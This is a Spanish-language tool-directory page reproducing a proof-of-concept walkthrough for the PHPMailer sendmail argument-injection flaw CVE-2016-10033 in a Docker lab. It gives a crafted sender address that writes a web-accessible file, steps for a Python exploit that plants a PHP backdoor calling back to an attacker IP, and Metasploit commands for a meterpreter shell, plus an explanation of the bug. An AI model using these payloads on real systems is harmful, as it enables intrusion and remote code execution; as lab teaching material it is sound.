Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
POC-CVE-2016-10033 — Prueba de concepto para el CVE-2016-10033 (PHPMailer) | Kitploit
Herramientas/GitHubGitHub/astrowmist/poc-cve-2016-10033
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHubastrowmist/poc-cve-2016-10033

POC-CVE-2016-10033

Prueba de concepto para el CVE-2016-10033 (PHPMailer)

Ver Repositorio
2hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

POC-CVE-2016-10033

Primero, pongamos en marcha la aplicación vulnerable

Paso 1: Ejecute el siguiente comando para obtener la imagen Docker vulnerable del repositorio de Docker.

Comando: docker pull vulnerables/cve-2016-10033

alt text

Paso 2: Ejecutar la imagen Docker en Docker Desktop, exponiendo el puerto 8080.

alt text

Ahora puede acceder al sitio web vulnerable en localhost:8080 desde el navegador web.

alt text

Método 1: a través de la página web

Paso 1: Complete el formulario con los siguientes datos:

Entrada de nombre: OSEC (puede ser cualquier cadena, esto no afecta al exploit)
Correo electrónico del remitente manipulado: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com

El funcionamiento de este correo electrónico del remitente manipulado se explica en detalle en la sección de descripción del vector de ataque. En cuanto a los parámetros específicos, el segundo parámetro -oQ/tmp especifica el directorio de cola y el tercer parámetro, -X/www/pwn.html especifica la ubicación del archivo de registro que se va a escribir. Si no se especifica el directorio de cola, el proceso sendmail intentaría acceder al directorio de cola de correo predeterminado (/var/spool/mqueue-client/) que estaría protegido para evitar el acceso no autorizado y la manipulación, lo cual es una medida de seguridad común. Para evitar este problema de permisos, debe especificar un directorio de cola donde el usuario que ejecuta el script PHP tenga permisos de escritura. Comúnmente se usa un directorio como /tmp porque suele ser escribible por todos los usuarios. Si el cuerpo del correo electrónico contiene código PHP y el archivo de registro especificado se coloca en un directorio accesible desde la web, el atacante puede ejecutar el código PHP accediendo al archivo de registro a través de un navegador web, lo que resulta en una ejecución remota de código.

Entrada de mensaje: Este es solo un archivo HTML de ejemplo que un atacante podría subir. Por supuesto, el atacante podría subir algo mucho peor, como una puerta trasera, que haremos en el siguiente método de explotación.

root@kitploit:~
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hacked!</title>
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;        
        }
        .container {
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1 style="color: red;">Congratulations! You've been hacked!</h1>
        <div>
            
            <p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
        </div>
    </div>
</body>
</html>

Paso 2: Después de enviar el formulario, navegue al archivo HTML que acabamos de subir en http://localhost:8080/pwn.html

alt text

Método 2: a través de la línea de comandos (script de exploit)

Requisitos: Este script solo es compatible con Python 2 (no funciona con Python 3).

Paso 1: Descargue el script de exploit desde https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py

Paso 2: Luego ejecute el script con los siguientes argumentos:

Comando: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www

-url -> especifica la URL objetivo
-cf -> especifica la ubicación del formulario de contacto dentro de la URL especificada en -url. (En nuestro caso es exactamente la misma que -url, así que solo incluimos una barra inclinada)
-ip -> especifica la IP del atacante para que la puerta trasera se conecte de vuelta
-d -> especifica el directorio relativo para subir el archivo PHP de la puerta trasera
--post-action -> El atributo name del campo oculto
--post-msg -> El atributo name del campo de entrada de mensaje

alt text Nota: La razón por la que tenemos que especificar --post-action como “submit” y --post-msg como “message” es porque en la aplicación vulnerable que estamos usando, el atributo name es diferente de los valores predeterminados usados en el script de exploit de Python.

Los atributos name en la aplicación vulnerable:

alt text

Los atributos name predeterminados especificados en el script: alt text

Paso 3: Después de ejecutar el comando, sin embargo, obtuvimos un error que se muestra a continuación

alt text
En la imagen anterior puede ver que el programa está intentando acceder a http://127.0.0.1:8080//www/phpbackdoor9284.php, lo cual es obviamente incorrecto por el //www. Esto no funcionará porque en este sitio web vulnerable /www es la raíz del sitio web, por lo tanto, no se puede ir a http://127.0.0.1:8080/www ya que http://127.0.0.1:8080 ya está en /www.

También en la imagen a continuación podemos ver que el exploit en realidad funcionó porque phpbackdoor9284.php se ha creado exitosamente en el directorio. Por lo tanto, el único problema era cómo eliminar ese //www de la URL.
alt text

Al inspeccionar más a fondo el script de Python, logramos localizar la variable BACKDOOR_URL que especifica la URL al archivo PHP de la puerta trasera. En la variable podemos ver que el directorio de destino que especificamos (args.TARGET_UP_DIR) se está concatenando junto con la variable BACKDOOR_FILE. Para solucionar el problema, necesitamos eliminar eso y la barra inclinada adicional.

Antes:
alt text

Después:
alt text

**Tenga en cuenta que el script en este repositorio ya está modificado y listo para usar

Paso 4: Ahora ejecute el comando anterior nuevamente, y esta vez la puerta trasera debería haberse subido exitosamente al directorio raíz web y debería haberse conectado de vuelta a mi Kali.

alt text

Método 3: Metasploit

Paso 1: Escriba msfconsole en la terminal de Kali para abrir Metasploit. Luego busque los módulos de Metasploit para CVE-2016-10033. Luego elija el módulo seleccionando el índice asociado a él. En la captura de pantalla a continuación elegimos el 1, que apunta a PHPMailer < 5.2.18.

Comandos:
msfconsole
search CVE-2016-10033
use 1
alt text

Paso 2: Establezca las opciones requeridas para el módulo de exploit, como la dirección IP del objetivo, el puerto, la URL objetivo y la raíz web.

Comandos:
set RHOSTS 192.168.79.1 (especifica la IP del objetivo)
set RPORT 8080 (especifica el puerto del objetivo)
set TARGETURI /(especifica la URL del formulario web)
set WEB_ROOT /www (especifica dónde se encuentra la raíz del sitio web)

alt text

Paso 3: Escriba “exploit” para ejecutar el exploit. Si todo va bien, debería obtener una shell de meterpreter de la máquina objetivo como se muestra a continuación.

Comando: exploit

alt text

Hemos llegado al final del POC.

Explicación del Exploit

La clase PHPMailer usa la función mail() de PHP como su transporte predeterminado. El transporte se implementa usando la función mailSend(): alt text

Si observa la línea 12,
alt text

la dirección del remitente se concatena con -f según la documentación de PHP de la función mail() para indicarle al binario de sendmail que la cadena después del argumento -f es la dirección de correo electrónico del remitente. alt text

En la última línea de la función mailSend(),
alt text

se pasan todos los argumentos requeridos por la función mail() de PHP, incluido el quinto parámetro de $params, que permite pasar parámetros adicionales al binario de sendmail.

La imagen a continuación muestra los parámetros que toma la función mail(), que coinciden con los parámetros que pasa la función mailSend().
alt text

Como se vio anteriormente, sabemos que la cadena $params se construye a partir de la variable Sender. Esta cadena de Sender normalmente se establece usando el método setFrom(), que valida la dirección del remitente que el usuario escribe en el formulario web.

alt text

Debido a la validación de la función validateAddress(), PHPMailer rechazaría, por ejemplo, un correo electrónico como,
attacker -InjectedParam2 @attacker.com
lo que evitaría la inyección de parámetros adicionales a Sendmail a través de la función mail().

Tras una investigación más profunda por parte del descubridor del CVE, se dio cuenta de que la validación en realidad se realiza utilizando la especificación RFC 3696.

La RFC permite que los correos electrónicos contengan espacios cuando se citan con ". Por lo tanto, la siguiente dirección de correo electrónico sería aceptada por el método setFrom():
"Attacker -Param2 -Param3"@test.com
Que luego se pasaría a la función mailSend() y luego a la función mail() de PHP, la cual ejecutaría /usr/bin/sendmail, el binario del MTA (Agente de Transferencia de Correo), con la siguiente lista de argumentos:

root@kitploit:~
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t] (read recipients from headers)
Arg no. 2 == [-i] (ignore dots on lines)
Arg no. 3 == [-f”Attacker -Param2 -Param3”@test.com]

En otras palabras, así:
alt text

lo que no funcionaría para el atacante ya que Param2 y Param3 se pasan dentro del mismo argumento número 3, que especifica la dirección del remitente.

Sin embargo, los atacantes pueden salir de esto mediante algún escape adicional. Al inyectar una secuencia adicional de \" en el correo electrónico del remitente después del primer argumento,
"Attacker \" -Param2 -Param3"@test.com
y cuando se pasa a PHPMailer y eventualmente a la función mail(), ejecutaría el binario de sendmail con la siguiente lista de argumentos

root@kitploit:~
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com]

En otras palabras, así:
alt text

Por lo tanto, esta vez los atacantes podrían inyectar parámetros adicionales, en este caso los parámetros 4 y 5.

Créditos

Esta vulnerabilidad fue encontrada por Dawid Golunski.

La imagen Docker fue creada por opsxcq - https://github.com/opsxcq

y por último, pero no menos importante, mis queridos compañeros de grupo que me ayudaron con el POC :
Xavion - https://www.linkedin.com/in/xaviontok/
Brandon - https://www.linkedin.com/in/brandontyf/

Descargar herramienta